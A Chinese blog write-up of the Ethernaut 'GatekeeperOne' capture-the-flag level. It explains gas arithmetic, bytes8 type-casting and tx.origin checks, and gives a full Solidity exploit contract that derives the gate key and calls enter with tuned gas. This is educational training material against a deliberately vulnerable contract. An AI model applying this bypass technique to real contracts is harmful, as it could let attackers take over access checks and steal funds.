ethernaut——GatekeeperOne

第十三关:GatekeeperOne

本关知识点:

1. 类型强制转换
2. 链上gas消耗的计算方式
3. 区分msg.sender和tx.origin

1. 题目要求

越过守门人并且注册为一个参赛者来完成这一关.

2. 代码功能解读

请添加图片描述

3. 漏洞分析

成功调用enter方法
	创建攻击合约调用绕开gateOne的检测
	控制gasleft使求余8191为0
	我们可以根据变量的强制转换方式,找到一个符合以上三个条件的8字节变量

我计算gas大小的方法,先执行一次失败的交易,去etherscan中找到gasleft的时候gas的消耗量,然后重新计算后输入正确的gas费用。如图所示,我输入的gas为200000,执行完gasleft()后还剩199744,消耗了256.
请添加图片描述请添加图片描述

我发送的gas数量:819100+256 = 819356

我推到gateKey的推导思路:
// ffffffffffffffff == ffffffff0000ffff >> 第九到第十二个字符肯定为0
// ffffffff0000ffff != 000000000000ffff >> 前8字符肯定有值
// ffffffff0000ffff == ffffffff0000ffff(tx.origin) >> 最后四个字符的值为tx.origin的后四个字符
由上可知:通过tx.origin和ffffffff0000ffff做与运算就能得到正确的bytes8。

4. 攻击方法

contract Exploit {

  GatekeeperOne one;
  uint64 number = 0xffffffff0000ffff;

  constructor(address addr) payable{
    one = GatekeeperOne(addr);
  }

  function testGas()public {
  
    bytes8 value;
    value = getValue();
    one.enter{gas: 200000 wei}(value);
  }

  function attack(uint256 gasValue_)public {

    bytes8 value;
    value = getValue();
    one.enter{gas: gasValue_}(value);
  }

  function getValue() public view returns(bytes8){
  
    uint64 message = uint64(uint160(tx.origin));
    bytes8 sendValue = bytes8(number & message);
    return sendValue;
  }

}

5. 攻击调用图

攻击成功,结果变成了我们自己的地址。

请添加图片描述
请添加图片描述

6. 知识点分析

在编写智能合约的过程中,对合约的gas,进制转换和调用者的了解都是很重要的,可以在我们编写合约的时候达到更好的优化效果,也可以让我们更清晰的了解在阅读交易的过程中的调用情况。

如果对大家有用,请点赞;如果喜欢,请订阅加点赞,会一直更新~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值